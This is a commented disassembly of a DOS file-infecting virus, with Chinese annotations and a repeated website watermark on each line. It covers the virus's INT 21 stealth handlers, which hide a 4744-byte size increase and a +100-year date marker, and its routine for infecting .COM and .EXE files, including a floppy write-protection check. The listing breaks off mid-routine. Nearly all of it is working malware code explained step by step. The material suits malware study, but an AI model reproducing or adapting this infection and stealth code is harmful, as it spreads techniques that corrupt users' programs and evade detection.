9E80:05F4 7430        JZ  0626     ;则文件长度不减 防黑网.www.zzfhw.com
9E80:05F6 E8A804      CALL  0AA1     ;取 DTA => ES:BX 防黑网.www.zzfhw.com
9E80:05F9 33FF        XOR  DI,DI 防黑网.www.zzfhw.com
9E80:05FB 803FFF      CMP  Byte Ptr [BX],FF 防黑网.www.zzfhw.com
9E80:05FE 7503        JNZ  0603 防黑网.www.zzfhw.com
9E80:0600 BF0700      MOV  DI,0007   ;扩展 FCB 防黑网.www.zzfhw.com
9E80:0603 8D711A      LEA  SI,[BX+DI+1A]   ; 防黑网.www.zzfhw.com
9E80:0606 E82E04      CALL  0A37     ;如果是 ARJ,LHA,PK系列 防黑网.www.zzfhw.com
9E80:0609 741B        JZ  0626     ;BACKUP,MODEM等文件执行中 防黑网.www.zzfhw.com
9E80:060B 803CC8      CMP  Byte Ptr [SI],C8 ;则不改动 (以下同) 防黑网.www.zzfhw.com
9E80:060E 7216        JB  0626     ;未传染返回 防黑网.www.zzfhw.com
9E80:0610 802CC8      SUB  Byte Ptr [SI],C8   ;已传染,年号-100 防黑网.www.zzfhw.com
9E80:0613 C4411D      LES  AX,[BX+DI+1D] 防黑网.www.zzfhw.com
9E80:0616 8CC1        MOV  CX,ES 防黑网.www.zzfhw.com
9E80:0618 2D8812      SUB  AX,1288   ;文件长 - 4744 字节 防黑网.www.zzfhw.com
9E80:061B 83D900      SBB  CX,+00 防黑网.www.zzfhw.com
9E80:061E 7206        JB  0626 防黑网.www.zzfhw.com
9E80:0620 89411D      MOV  [BX+DI+1D],AX 防黑网.www.zzfhw.com
9E80:0623 89491F      MOV  [BX+DI+1F],CX 防黑网.www.zzfhw.com
9E80:0626 E8F503      CALL  0A1E     ;恢复 INT 24,开键盘 防黑网.www.zzfhw.com
9E80:0629 E8D6FA      CALL  0102     ;POPA 防黑网.www.zzfhw.com
9E80:062C E8C1FB      CALL  01F0     ;修改 INT 21 头 5 字节 防黑网.www.zzfhw.com
9E80:062F FA         CLI 防黑网.www.zzfhw.com
9E80:0630 2E8E16D512    MOV  SS,CS:[12D5]   ;恢复原堆栈 防黑网.www.zzfhw.com
9E80:0635 2E8B26D712    MOV  SP,CS:[12D7] 防黑网.www.zzfhw.com
9E80:063A FB         STI 防黑网.www.zzfhw.com
9E80:063B CA0200      RETF  0002 防黑网.www.zzfhw.com
;======================================================================== 防黑网.www.zzfhw.com
9E80:063E 80FC4E      CMP  AH,4E    ;INT 21 之寻找文件功能 防黑网.www.zzfhw.com
9E80:0641 721B        JB  065E 防黑网.www.zzfhw.com
9E80:0643 80FC4F      CMP  AH,4F 防黑网.www.zzfhw.com
9E80:0646 7716        JA  065E 防黑网.www.zzfhw.com
9E80:0648 E87A04      CALL  0AC5     ;先调用原 INT 21 防黑网.www.zzfhw.com
9E80:064B 7303        JNB  0650 防黑网.www.zzfhw.com
9E80:064D E93302      JMP  0883 防黑网.www.zzfhw.com
9E80:0650 E8DC03      CALL  0A2F     ;保存返回 AX 防黑网.www.zzfhw.com
9E80:0653 E84B04      CALL  0AA1     ;取 DTA 于 ES:BX 防黑网.www.zzfhw.com
9E80:0656 BFFDFF      MOV  DI,FFFD 防黑网.www.zzfhw.com
9E80:0659 8D7719      LEA  SI,[BX+19]   ;更改文件长及时间 防黑网.www.zzfhw.com
9E80:065C EBA8        JMP  0606 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
9E80:065E 3D0242      CMP  AX,4202   ;INT 21 之测试文件长功能 防黑网.www.zzfhw.com
9E80:0661 7524        JNZ  0687 防黑网.www.zzfhw.com
9E80:0663 E85C04      CALL  0AC2     ;调用原 INT 21 防黑网.www.zzfhw.com
9E80:0666 72E5        JB  064D 防黑网.www.zzfhw.com
9E80:0668 E84003      CALL  09AB     ;取系统文件表项于 ES:DI 防黑网.www.zzfhw.com
9E80:066B 7611        JBE  067E 防黑网.www.zzfhw.com
9E80:066D E8C703      CALL  0A37     ; 防黑网.www.zzfhw.com
9E80:0670 740C        JZ  067E 防黑网.www.zzfhw.com
9E80:0672 2D8812      SUB  AX,1288   ;如果传染 防黑网.www.zzfhw.com
9E80:0675 83DA00      SBB  DX,+00     ;文件长 - 4744 防黑网.www.zzfhw.com
9E80:0678 894515      MOV  [DI+15],AX 防黑网.www.zzfhw.com
9E80:067B 895517      MOV  [DI+17],DX 防黑网.www.zzfhw.com
9E80:067E F8         CLC 防黑网.www.zzfhw.com
9E80:067F E8AD03      CALL  0A2F     ;设置 INT 21 返回值 防黑网.www.zzfhw.com
9E80:0682 89560A      MOV  [BP+0A],DX   ;设置返回 DX 防黑网.www.zzfhw.com
9E80:0685 EB9F        JMP  0626 防黑网.www.zzfhw.com
;======================================================================== 防黑网.www.zzfhw.com
9E80:0687 3D0057      CMP  AX,5700   ;INT 21 之文件时间功能 防黑网.www.zzfhw.com
9E80:068A 7412        JZ  069E 防黑网.www.zzfhw.com
9E80:068C 3D0157      CMP  AX,5701 防黑网.www.zzfhw.com
9E80:068F 752F        JNZ  06C0 防黑网.www.zzfhw.com
9E80:0691 E81703      CALL  09AB     ;设置文件时间 防黑网.www.zzfhw.com
9E80:0694 7612        JBE  06A8     ;如果传染 防黑网.www.zzfhw.com
9E80:0696 80FEC8      CMP  DH,C8     ;未加 100 年则加 100 年 防黑网.www.zzfhw.com
9E80:0699 730D        JNB  06A8 防黑网.www.zzfhw.com
9E80:069B 80C6C8      ADD  DH,C8 防黑网.www.zzfhw.com
9E80:069E E89603      CALL  0A37 防黑网.www.zzfhw.com
9E80:06A1 7405        JZ  06A8 防黑网.www.zzfhw.com
9E80:06A3 E81C04      CALL  0AC2 防黑网.www.zzfhw.com
9E80:06A6 7303        JNB  06AB 防黑网.www.zzfhw.com
9E80:06A8 E9D801      JMP  0883 防黑网.www.zzfhw.com
9E80:06AB 80FEC8      CMP  DH,C8     ;取文件时间 防黑网.www.zzfhw.com
9E80:06AE 7203        JB  06B3     ;如果传染,则减 100 年 防黑网.www.zzfhw.com
9E80:06B0 80EEC8      SUB  DH,C8 防黑网.www.zzfhw.com
9E80:06B3 F8         CLC 防黑网.www.zzfhw.com
9E80:06B4 E87803      CALL  0A2F     ;设置 INT 21 返回值 防黑网.www.zzfhw.com
9E80:06B7 894E0C      MOV  [BP+0C],CX   ;设置返回 CX,DX 值 防黑网.www.zzfhw.com
9E80:06BA 89560A      MOV  [BP+0A],DX 防黑网.www.zzfhw.com
9E80:06BD E966FF      JMP  0626 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:06C0 80FC3F      CMP  AH,3F    ;INT 21 之读文件功能 防黑网.www.zzfhw.com
9E80:06C3 7403        JZ  06C8 防黑网.www.zzfhw.com
9E80:06C5 E9BD00      JMP  0785 防黑网.www.zzfhw.com
9E80:06C8 E8E002      CALL  09AB     ;取系统文件表项地址 防黑网.www.zzfhw.com
9E80:06CB 76F8        JBE  06C5 防黑网.www.zzfhw.com
9E80:06CD E86703      CALL  0A37     ;压缩程序内退出 防黑网.www.zzfhw.com
9E80:06D0 74F3        JZ  06C5 防黑网.www.zzfhw.com
9E80:06D2 C44511      LES  AX,[DI+11]   ;文件大小 => BX:AX 防黑网.www.zzfhw.com
9E80:06D5 8CC3        MOV  BX,ES 防黑网.www.zzfhw.com
9E80:06D7 C45515      LES  DX,[DI+15]   ;当前指针 => SI:DX 防黑网.www.zzfhw.com
9E80:06DA 8CC6        MOV  SI,ES 防黑网.www.zzfhw.com
9E80:06DC 2E83267C0700  AND  Word Ptr CS:[077C],+00 ;读出长度清零 防黑网.www.zzfhw.com
9E80:06E2 0BF6        OR  SI,SI 防黑网.www.zzfhw.com
9E80:06E4 754D        JNZ  0733 防黑网.www.zzfhw.com
9E80:06E6 83FA18      CMP  DX,+18 防黑网.www.zzfhw.com
9E80:06E9 7348        JNB  0733 防黑网.www.zzfhw.com
9E80:06EB 51         PUSH  CX     ;当前指针 < 0000:0018 防黑网.www.zzfhw.com
9E80:06EC 03CA        ADD  CX,DX 防黑网.www.zzfhw.com
9E80:06EE F5         CMC 防黑网.www.zzfhw.com
9E80:06EF 7303        JNB  06F4     ;> 64K 转 06F7 防黑网.www.zzfhw.com
9E80:06F1 83F918      CMP  CX,+18 防黑网.www.zzfhw.com
9E80:06F4 59         POP  CX     ;读文件头 18 字节内 防黑网.www.zzfhw.com
9E80:06F5 7205        JB  06FC     ;转 06FC 防黑网.www.zzfhw.com
9E80:06F7 B91800      MOV  CX,0018   ;一半在文件头 18 字节内 防黑网.www.zzfhw.com
9E80:06FA 2BCA        SUB  CX,DX     ;CX=在文件头18字节内的字节数 防黑网.www.zzfhw.com
9E80:06FC 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:06FD 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:06FE 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:06FF 83EA18      SUB  DX,+18     ;BX:AX = 文件长 防黑网.www.zzfhw.com
9E80:0702 03C2        ADD  AX,DX     ; 防黑网.www.zzfhw.com
9E80:0704 F5         CMC 防黑网.www.zzfhw.com
9E80:0705 1BDE        SBB  BX,SI 防黑网.www.zzfhw.com
9E80:0707 874515      XCHG  AX,[DI+15]   ;文件指针指向文件尾 防黑网.www.zzfhw.com
9E80:070A 875D17      XCHG  BX,[DI+17] 防黑网.www.zzfhw.com
9E80:070D 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:070E 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:070F 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:0710 B43F        MOV  AH,3F    ;读出原文件头 防黑网.www.zzfhw.com
9E80:0712 8B560A      MOV  DX,[BP+0A] 防黑网.www.zzfhw.com
9E80:0715 8E5E02      MOV  DS,[BP+02] 防黑网.www.zzfhw.com
9E80:0718 E8A703      CALL  0AC2 防黑网.www.zzfhw.com
9E80:071B 1F         POP  DS 防黑网.www.zzfhw.com
9E80:071C 8F4517      POP  [DI+17]   ;恢复原文件指针 防黑网.www.zzfhw.com
9E80:071F 8F4515      POP  [DI+15] 防黑网.www.zzfhw.com
9E80:0722 5A         POP  DX 防黑网.www.zzfhw.com
9E80:0723 9C         PUSHF       ;由于分两部分读出 防黑网.www.zzfhw.com
9E80:0724 03D0        ADD  DX,AX     ;所以保留第一次读出数 防黑网.www.zzfhw.com
9E80:0726 2E01067C07    ADD  CS:[077C],AX   ;返回时加上第二次读出数 防黑网.www.zzfhw.com
9E80:072B 9D         POPF 防黑网.www.zzfhw.com
9E80:072C 5B         POP  BX     ;BX:AX = 文件长 防黑网.www.zzfhw.com
9E80:072D 58         POP  AX 防黑网.www.zzfhw.com
9E80:072E 7303        JNB  0733 防黑网.www.zzfhw.com
9E80:0730 E95001      JMP  0883 防黑网.www.zzfhw.com
9E80:0733 895515      MOV  [DI+15],DX   ;读出第一部分后的 防黑网.www.zzfhw.com
9E80:0736 897517      MOV  [DI+17],SI   ;文件指针 防黑网.www.zzfhw.com
9E80:0739 8B4E0C      MOV  CX,[BP+0C]   ;原读出字节数 防黑网.www.zzfhw.com
9E80:073C 2E2B0E7C07    SUB  CX,CS:[077C]   ;减去已读出字节数 防黑网.www.zzfhw.com
9E80:0741 2D8812      SUB  AX,1288   ;BX:AX = 文件长 防黑网.www.zzfhw.com
9E80:0744 83DB00      SBB  BX,+00 防黑网.www.zzfhw.com
9E80:0747 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0748 53         PUSH  BX     ;BX:AX = 减去病毒后文件长 防黑网.www.zzfhw.com
9E80:0749 2BC2        SUB  AX,DX     ; 防黑网.www.zzfhw.com
9E80:074B 1BDE        SBB  BX,SI 防黑网.www.zzfhw.com
9E80:074D 5B         POP  BX 防黑网.www.zzfhw.com
9E80:074E 58         POP  AX 防黑网.www.zzfhw.com
9E80:074F 7304        JNB  0755     ;当前指针不在病毒内转 0755 防黑网.www.zzfhw.com
9E80:0751 33C9        XOR  CX,CX     ;当前指针在病毒内 防黑网.www.zzfhw.com
9E80:0753 EB14        JMP  0769     ;则读出 0 字节 防黑网.www.zzfhw.com
9E80:0755 03D1        ADD  DX,CX 防黑网.www.zzfhw.com
9E80:0757 83D600      ADC  SI,+00     ;SI:DX = 读出后 防黑网.www.zzfhw.com
9E80:075A 3BDE        CMP  BX,SI     ;指针将要在的位置 防黑网.www.zzfhw.com
9E80:075C 770B        JA  0769 防黑网.www.zzfhw.com
9E80:075E 7204        JB  0764 防黑网.www.zzfhw.com
9E80:0760 3BC2        CMP  AX,DX 防黑网.www.zzfhw.com
9E80:0762 7305        JNB  0769     ;未到病毒内转 0769 防黑网.www.zzfhw.com
9E80:0764 2BD1        SUB  DX,CX     ; 防黑网.www.zzfhw.com
9E80:0766 91         XCHG  AX,CX 防黑网.www.zzfhw.com
9E80:0767 2BCA        SUB  CX,DX     ;CX = 到原文件尾长度 防黑网.www.zzfhw.com
9E80:0769 B43F        MOV  AH,3F 防黑网.www.zzfhw.com
9E80:076B 8B560A      MOV  DX,[BP+0A] 防黑网.www.zzfhw.com
9E80:076E 2E03167C07    ADD  DX,CS:[077C] 防黑网.www.zzfhw.com
9E80:0773 8E5E02      MOV  DS,[BP+02] 防黑网.www.zzfhw.com
9E80:0776 E84903      CALL  0AC2     ;读出文件 防黑网.www.zzfhw.com
9E80:0779 7204        JB  077F 防黑网.www.zzfhw.com
9E80:077B 051800      ADD  AX,0018  ===>  ;本字节在第一次读出时保存 防黑网.www.zzfhw.com
9E80:077E F8         CLC 防黑网.www.zzfhw.com
9E80:077F E8AD02      CALL  0A2F     ;保存返回 AX 防黑网.www.zzfhw.com
9E80:0782 E9A1FE      JMP  0626 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:0785 80FC40      CMP  AH,40    ;INT 21 之写文件功能 防黑网.www.zzfhw.com
9E80:0788 7402        JZ  078C 防黑网.www.zzfhw.com
9E80:078A EB52        JMP  07DE 防黑网.www.zzfhw.com
9E80:078C E81C02      CALL  09AB     ;取系统文件表项地址 防黑网.www.zzfhw.com
9E80:078F 76F9        JBE  078A 防黑网.www.zzfhw.com
9E80:0791 C44511      LES  AX,[DI+11] 防黑网.www.zzfhw.com
9E80:0794 8CC3        MOV  BX,ES     ;BX:AX = 文件长 防黑网.www.zzfhw.com
9E80:0796 2D1800      SUB  AX,0018 防黑网.www.zzfhw.com
9E80:0799 83DB00      SBB  BX,+00 防黑网.www.zzfhw.com
9E80:079C 874515      XCHG  AX,[DI+15]   ;当前指针 => 文件尾-0018 防黑网.www.zzfhw.com
9E80:079F 875D17      XCHG  BX,[DI+17]   ;BX:AX = 当前指针 防黑网.www.zzfhw.com
9E80:07A2 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:07A3 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:07A4 B80200      MOV  AX,0002 防黑网.www.zzfhw.com
9E80:07A7 874502      XCHG  AX,[DI+02]   ;设置为写打开 防黑网.www.zzfhw.com
9E80:07AA 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:07AB 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:07AC 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:07AD 1F         POP  DS 防黑网.www.zzfhw.com
9E80:07AE 07         POP  ES 防黑网.www.zzfhw.com
9E80:07AF E85902      CALL  0A0B     ;读出原文件头 => CS:1270 防黑网.www.zzfhw.com
9E80:07B2 268F4502     POP  ES:[DI+02]   ;恢复打开方式 防黑网.www.zzfhw.com
9E80:07B6 721B        JB  07D3 防黑网.www.zzfhw.com
9E80:07B8 26894515     MOV  ES:[DI+15],AX   ;当前指针 => 文件开始 防黑网.www.zzfhw.com
9E80:07BC 26894517     MOV  ES:[DI+17],AX 防黑网.www.zzfhw.com
9E80:07C0 E84B02      CALL  0A0E     ;写文件头(恢复) 防黑网.www.zzfhw.com
9E80:07C3 720E        JB  07D3 防黑网.www.zzfhw.com
9E80:07C5 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:07C6 1F         POP  DS 防黑网.www.zzfhw.com
9E80:07C7 816D118812    SUB  Word Ptr [DI+11],1288 防黑网.www.zzfhw.com
9E80:07CC 194513      SBB  [DI+13],AX   ;文件长 - 4744 防黑网.www.zzfhw.com
9E80:07CF 806D10C8     SUB  Byte Ptr [DI+10],C8   ;恢复日期 防黑网.www.zzfhw.com
9E80:07D3 268F4517     POP  ES:[DI+17]   ;恢复文件指针 防黑网.www.zzfhw.com
9E80:07D7 268F4515     POP  ES:[DI+15] 防黑网.www.zzfhw.com
9E80:07DB E9A500      JMP  0883     ;转原 INT 21 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
9E80:07DE 80FC3E      CMP  AH,3E    ;关闭文件 防黑网.www.zzfhw.com
9E80:07E1 740C        JZ  07EF     ;先复制文件句柄再传染 防黑网.www.zzfhw.com
9E80:07E3 3D004B      CMP  AX,4B00   ;执行文件 防黑网.www.zzfhw.com
9E80:07E6 7403        JZ  07EB     ;先打开文件再传染 防黑网.www.zzfhw.com
9E80:07E8 E99800      JMP  0883 防黑网.www.zzfhw.com
9E80:07EB B8003D      MOV  AX,3D00 防黑网.www.zzfhw.com
9E80:07EE 3DB445      CMP  AX,45B4 防黑网.www.zzfhw.com
9E80:07F1 E8E501      CALL  09D9     ;将 INT 13 切换到 BIOS 防黑网.www.zzfhw.com
9E80:07F4 E8CB02      CALL  0AC2     ;打开/复制文件 防黑网.www.zzfhw.com
9E80:07F7 2EA3C30A     MOV  CS:[0AC3],AX 防黑网.www.zzfhw.com
9E80:07FB B80844      MOV  AX,4408 防黑网.www.zzfhw.com
9E80:07FE 99         CWD 防黑网.www.zzfhw.com
9E80:07FF 727F        JB  0880 防黑网.www.zzfhw.com
9E80:0801 E8A701      CALL  09AB    ;取系统文件表项 防黑网.www.zzfhw.com
9E80:0804 7275        JB  087B     ;出错退出 防黑网.www.zzfhw.com
9E80:0806 7573        JNZ  087B     ;已传染退出 防黑网.www.zzfhw.com
9E80:0808 B33F        MOV  BL,3F 防黑网.www.zzfhw.com
9E80:080A 225D05      AND  BL,[DI+05]   ;设备信息字 防黑网.www.zzfhw.com
9E80:080D 8AD3        MOV  DL,BL     ;DL = 驱动器号 (A=0,B=1...) 防黑网.www.zzfhw.com
9E80:080F 43         INC  BX     ;BX = 驱动器号 (A=1,B=2...) 防黑网.www.zzfhw.com
9E80:0810 E8B202      CALL  0AC5     ;DOS 4408 功能 防黑网.www.zzfhw.com
9E80:0813 B90100      MOV  CX,0001   ;检测块设备是否可移动 防黑网.www.zzfhw.com
9E80:0816 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0817 07         POP  ES 防黑网.www.zzfhw.com
9E80:0818 7205        JB  081F 防黑网.www.zzfhw.com
9E80:081A 48         DEC  AX 防黑网.www.zzfhw.com
9E80:081B 7418        JZ  0835     ;固定设备转 0835 防黑网.www.zzfhw.com
9E80:081D EB05        JMP  0824     ;非可移动设备退出 防黑网.www.zzfhw.com
9E80:081F 80FA01      CMP  DL,01 防黑网.www.zzfhw.com
9E80:0822 7711        JA  0835     ;C 盘以上不用检测 防黑网.www.zzfhw.com
9E80:0824 B80102      MOV  AX,0201   ;如果是软盘,检测写保护 防黑网.www.zzfhw.com
9E80:0827 BB1314      MOV  BX,1413   ;先读出 防黑网.www.zzfhw.com
9E80:082A CD13        INT  13 防黑网.www.zzfhw.com
9E80:082C 724D        JB  087B 防黑网.www.zzfhw.com
9E80:082E B80103      MOV  AX,0301   ;再写入 防黑网.www.zzfhw.com
9E80:0831 CD13        INT  13 防黑网.www.zzfhw.com
9E80:0833 7246        JB  087B     ;无法写入退出(写保护) 防黑网.www.zzfhw.com
9E80:0835 41         INC  CX 防黑网.www.zzfhw.com
9E80:0836 874D02      XCHG  CX,[DI+02]   ;设置文件打开方式为写打开 防黑网.www.zzfhw.com
9E80:0839 51         PUSH  CX     ;保存原打开方式 防黑网.www.zzfhw.com
9E80:083A 33C0        XOR  AX,AX 防黑网.www.zzfhw.com
9E80:083C 866504      XCHG  AH,[DI+04]   ;文件属性 防黑网.www.zzfhw.com
9E80:083F F6C404      TEST  AH,04     ;系统属性退出 防黑网.www.zzfhw.com
9E80:0842 50         PUSH  AX     ;保存文件属性 防黑网.www.zzfhw.com
9E80:0843 7530        JNZ  0875 防黑网.www.zzfhw.com
9E80:0845 98         CBW 防黑网.www.zzfhw.com
9E80:0846 99         CWD       ;AX 清零 防黑网.www.zzfhw.com
9E80:0847 874515      XCHG  AX,[DI+15]   ;移动文件指针到文件头 防黑网.www.zzfhw.com
9E80:084A 875517      XCHG  DX,[DI+17] 防黑网.www.zzfhw.com
9E80:084D 50         PUSH  AX     ;保存原文件指针 防黑网.www.zzfhw.com
9E80:084E 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:084F BDBDB0      MOV  BP,B0BD   ;扩展名不为 "COM" 防黑网.www.zzfhw.com
9E80:0852 036D28      ADD  BP,[DI+28]   ;转 085D 防黑网.www.zzfhw.com
9E80:0855 7506        JNZ  085D 防黑网.www.zzfhw.com
9E80:0857 BDB1B2      MOV  BP,B2B1 防黑网.www.zzfhw.com
9E80:085A 036D29      ADD  BP,[DI+29] 防黑网.www.zzfhw.com
9E80:085D E86900      CALL  08C9        ;执行传染子程序 防黑网.www.zzfhw.com
9E80:0860 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0861 E84701      CALL  09AB     ;取系统文件表项 防黑网.www.zzfhw.com
9E80:0864 9D         POPF 防黑网.www.zzfhw.com
9E80:0865 7204        JB  086B 防黑网.www.zzfhw.com
9E80:0867 804510C8     ADD  Byte Ptr [DI+10],C8   ;文件年份+100 防黑网.www.zzfhw.com
9E80:086B 804D0640     OR  Byte Ptr [DI+06],40  ;关闭时不设置时间 防黑网.www.zzfhw.com
9E80:086F 8F4517      POP  [DI+17]   ;恢复系统文件表项 防黑网.www.zzfhw.com
9E80:0872 8F4515      POP  [DI+15]   ;中相应内容 防黑网.www.zzfhw.com
9E80:0875 8F4503      POP  [DI+03] 防黑网.www.zzfhw.com
9E80:0878 8F4502      POP  [DI+02] 防黑网.www.zzfhw.com
9E80:087B B43E        MOV  AH,3E    ;关闭文件 防黑网.www.zzfhw.com
9E80:087D E84202      CALL  0AC2 防黑网.www.zzfhw.com
9E80:0880 E85601      CALL  09D9     ;将 INT 13 恢复到 DOS 防黑网.www.zzfhw.com
9E80:0883 E89801      CALL  0A1E     ;恢复 INT 24 及键盘状态 防黑网.www.zzfhw.com
9E80:0886 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0887 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0888 B001        MOV  AL,01 防黑网.www.zzfhw.com
9E80:088A BFE313      MOV  DI,13E3 防黑网.www.zzfhw.com
9E80:088D 38452E      CMP  [DI+2E],AL  ;?????? 防黑网.www.zzfhw.com
9E80:0890 7532        JNZ  08C4     ;放弃重新截取 INT 21 ???? 防黑网.www.zzfhw.com
9E80:0892 E82EF8      CALL  00C3    ;取中断向量 01 防黑网.www.zzfhw.com
9E80:0895 891D        MOV  [DI],BX 防黑网.www.zzfhw.com
9E80:0897 8C4502      MOV  [DI+02],ES   ;保存于 13E3 防黑网.www.zzfhw.com
9E80:089A C6452F05     MOV  Byte Ptr [DI+2F],05 防黑网.www.zzfhw.com
9E80:089E C60697023F    MOV  Byte Ptr [0297],3F 防黑网.www.zzfhw.com
9E80:08A3 BA7702      MOV  DX,0277   ;设置中断向量 01 防黑网.www.zzfhw.com
9E80:08A6 E82BF8      CALL  00D4     ;到 CS:0277 防黑网.www.zzfhw.com
9E80:08A9 E856F8      CALL  0102     ;POPA 防黑网.www.zzfhw.com
9E80:08AC 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:08AD 9C         PUSHF 防黑网.www.zzfhw.com
9E80:08AE 5E         POP  SI     ;标志 FLAG => SI 防黑网.www.zzfhw.com
9E80:08AF E8BEF9      CALL  0270     ;启动 INT 01 (重新截取INT 21用) 防黑网.www.zzfhw.com
9E80:08B2 5E         POP  SI     ;本句转 INT 01 (0277) 执行 防黑网.www.zzfhw.com
9E80:08B3 FA         CLI 防黑网.www.zzfhw.com
9E80:08B4 2E8E16D512    MOV  SS,CS:[12D5]   ;恢复原堆栈 防黑网.www.zzfhw.com
9E80:08B9 2E8B26D712    MOV  SP,CS:[12D7] 防黑网.www.zzfhw.com
9E80:08BE FB         STI       ;转原 INT 21 防黑网.www.zzfhw.com
9E80:08BF 2EFF2EFB13    JMP  FAR CS:[13FB] 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
9E80:08C4 E83BF8      CALL  0102     ;POPA 防黑网.www.zzfhw.com
9E80:08C7 EBEA        JMP  08B3     ; 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
9E80:08C9 0E         PUSH  CS     ;传染子程序 防黑网.www.zzfhw.com
9E80:08CA 1F         POP  DS 防黑网.www.zzfhw.com
9E80:08CB E83D01      CALL  0A0B     ;读文件头 18H => 1270 防黑网.www.zzfhw.com
9E80:08CE 7244        JB  0914 防黑网.www.zzfhw.com
9E80:08D0 8BF2        MOV  SI,DX 防黑网.www.zzfhw.com
9E80:08D2 BF8812      MOV  DI,1288   ;文件头 18H 移动到 1288 防黑网.www.zzfhw.com
9E80:08D5 FC         CLD       ;准备修改 防黑网.www.zzfhw.com
9E80:08D6 F3         REPZ 防黑网.www.zzfhw.com
9E80:08D7 A4         MOVSB 防黑网.www.zzfhw.com
9E80:08D8 E8D000      CALL  09AB     ;取系统文件表项 防黑网.www.zzfhw.com
9E80:08DB C44511      LES  AX,[DI+11]   ;文件大小 DX:AX 防黑网.www.zzfhw.com
9E80:08DE 8CC2        MOV  DX,ES 防黑网.www.zzfhw.com
9E80:08E0 894515      MOV  [DI+15],AX   ;移动文件指针 => 文件尾 防黑网.www.zzfhw.com
9E80:08E3 895517      MOV  [DI+17],DX 防黑网.www.zzfhw.com
9E80:08E6 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:08E7 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:08E8 07         POP  ES 防黑网.www.zzfhw.com
9E80:08E9 1F         POP  DS 防黑网.www.zzfhw.com
9E80:08EA 8B0C        MOV  CX,[SI]   ;文件头 2 字节 防黑网.www.zzfhw.com
9E80:08EC 81F95A4D     CMP  CX,4D5A 防黑网.www.zzfhw.com
9E80:08F0 7424        JZ  0916 防黑网.www.zzfhw.com
9E80:08F2 81F94D5A     CMP  CX,5A4D 防黑网.www.zzfhw.com
9E80:08F6 741E        JZ  0916     ;.EXE 文件转 0916 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:08F8 0BD5        OR  DX,BP     ;传染 .COM 文件 防黑网.www.zzfhw.com
9E80:08FA 7518        JNZ  0914 防黑网.www.zzfhw.com
9E80:08FC 3D14ED      CMP  AX,ED14   ; > 60692 字节不传染 防黑网.www.zzfhw.com
9E80:08FF 7713        JA  0914 防黑网.www.zzfhw.com
9E80:0901 3DE803      CMP  AX,03E8   ; < 1000 字节不传染 防黑网.www.zzfhw.com
9E80:0904 720E        JB  0914 防黑网.www.zzfhw.com
9E80:0906 C604E9      MOV  Byte Ptr [SI],E9   ;文件头改为 JMP XXXX 防黑网.www.zzfhw.com
9E80:0909 FEC4        INC  AH     ;ADD AX,100H 防黑网.www.zzfhw.com
9E80:090B 50         PUSH  AX     ;.COM 文件入口 11DA 防黑网.www.zzfhw.com
9E80:090C 05D710      ADD  AX,10D7   ;(0100+0003+10D7) 防黑网.www.zzfhw.com
9E80:090F 894401      MOV  [SI+01],AX 防黑网.www.zzfhw.com
9E80:0912 EB7B        JMP  098F 防黑网.www.zzfhw.com
9E80:0914 F9         STC 防黑网.www.zzfhw.com
9E80:0915 C3         RET 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
9E80:0916 837C0CFF     CMP  Word Ptr [SI+0C],-01   ;传染 .EXE 文件 防黑网.www.zzfhw.com
9E80:091A 75F8        JNZ  0914     ;要分配内存不为 -1 返回 防黑网.www.zzfhw.com
9E80:091C 8BE8        MOV  BP,AX 防黑网.www.zzfhw.com
9E80:091E 8BFA        MOV  DI,DX     ;DI:BP = 文件长 防黑网.www.zzfhw.com
9E80:0920 B90002      MOV  CX,0200 防黑网.www.zzfhw.com
9E80:0923 F7F1        DIV  CX 防黑网.www.zzfhw.com
9E80:0925 0BD2        OR  DX,DX 防黑网.www.zzfhw.com
9E80:0927 7401        JZ  092A 防黑网.www.zzfhw.com
9E80:0929 40         INC  AX 防黑网.www.zzfhw.com
9E80:092A 2B4404      SUB  AX,[SI+04] 防黑网.www.zzfhw.com
9E80:092D 75E5        JNZ  0914 防黑网.www.zzfhw.com
9E80:092F 2B5402      SUB  DX,[SI+02]   ;文件有覆盖部分不传染 防黑网.www.zzfhw.com
9E80:0932 75E0        JNZ  0914 防黑网.www.zzfhw.com
9E80:0934 B88812      MOV  AX,1288 防黑网.www.zzfhw.com
9E80:0937 03C5        ADD  AX,BP 防黑网.www.zzfhw.com
9E80:0939 13D7        ADC  DX,DI     ;DX:AX = 新文件长 防黑网.www.zzfhw.com
9E80:093B F7F1        DIV  CX 防黑网.www.zzfhw.com
9E80:093D 0BD2        OR  DX,DX 防黑网.www.zzfhw.com
9E80:093F 7401        JZ  0942 防黑网.www.zzfhw.com
9E80:0941 40         INC  AX 防黑网.www.zzfhw.com
9E80:0942 894404      MOV  [SI+04],AX 防黑网.www.zzfhw.com
9E80:0945 895402      MOV  [SI+02],DX   ;新映象长度 防黑网.www.zzfhw.com
9E80:0948 BB90E9      MOV  BX,E990 防黑网.www.zzfhw.com
9E80:094B 33C9        XOR  CX,CX 防黑网.www.zzfhw.com
